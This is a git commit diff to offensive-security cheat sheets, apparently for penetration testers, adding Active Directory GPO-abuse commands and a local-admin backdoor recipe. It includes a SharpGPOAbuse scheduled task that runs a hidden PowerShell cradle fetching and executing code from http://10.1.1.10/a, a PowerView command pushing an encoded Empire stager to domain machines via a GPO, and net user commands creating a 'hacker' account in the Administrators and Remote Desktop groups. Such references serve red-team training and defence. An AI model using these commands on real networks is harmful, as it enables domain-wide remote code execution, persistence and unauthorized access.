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Add user /Y + GPO Powerview

patch-1
Swissky 2020-05-10 23:16:29 +02:00
parent 7f1c150edd
commit 3ed2b28e59
2 changed files with 17 additions and 2 deletions
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17
Methodology and Resources/Active Directory Attack.md
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@ -406,6 +406,8 @@ Get-NetGPOGroup
### Exploit Group Policy Objects GPO
> Creators of a GPO are automatically granted explicit Edit settings, delete, modify security, which manifests as CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner
```powershell
# Build and configure SharpGPOAbuse
git clone https://github.com/FSecureLABS/SharpGPOAbuse
@ -425,6 +427,16 @@ SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContent
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
```
Abuse GPO with PowerView
```powershell
# Enumerate GPO
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
# New-GPOImmediateTask to push an Empire stager out to machines via VulnGPO
New-GPOImmediateTask -TaskName Debugging -GPODisplayName VulnGPO -CommandArguments '-NoP -NonI -W Hidden -Enc AAAAAAA...' -Force
```
### Dumping AD Domain Credentials
@ -1629,4 +1641,7 @@ CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 6b3723410a3c5
* [A Red Teamer’s Guide to GPOs and OUs - APRIL 2, 2018 - @_wald0](https://wald0.com/?p=179)
* [Carlos Garcia - Rooted2019 - Pentesting Active Directory Forests public.pdf](https://www.dropbox.com/s/ilzjtlo0vbyu1u0/Carlos%20Garcia%20-%20Rooted2019%20-%20Pentesting%20Active%20Directory%20Forests%20public.pdf?dl=0)
* [Kerberosity Killed the Domain: An Offensive Kerberos Overview - Ryan Hausknecht - Mar 10](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61)
* [Active-Directory-Exploitation-Cheat-Sheet - @buftas](https://github.com/buftas/Active-Directory-Exploitation-Cheat-Sheet#local-privilege-escalation)
* [Active-Directory-Exploitation-Cheat-Sheet - @buftas](https://github.com/buftas/Active-Directory-Exploitation-Cheat-Sheet#local-privilege-escalation)
* [GPO Abuse - Part 1 - RastaMouse - 6 January 2019](https://rastamouse.me/2019/01/gpo-abuse-part-1/)
* [GPO Abuse - Part 2 - RastaMouse - 13 January 2019](https://rastamouse.me/2019/01/gpo-abuse-part-2/)
* [Abusing GPO Permissions - harmj0y - March 17, 2016](https://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/)

2
Methodology and Resources/Windows - Using credentials.md
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@ -25,7 +25,7 @@
### TIP 1 - Create your credential
```powershell
net user hacker hacker1234* /add
net user hacker Hcker_12345678* /add /Y
net localgroup administrators hacker /add
net localgroup "Remote Desktop Users" hacker /add # RDP access
net localgroup "Backup Operators" hacker /add # Full access to files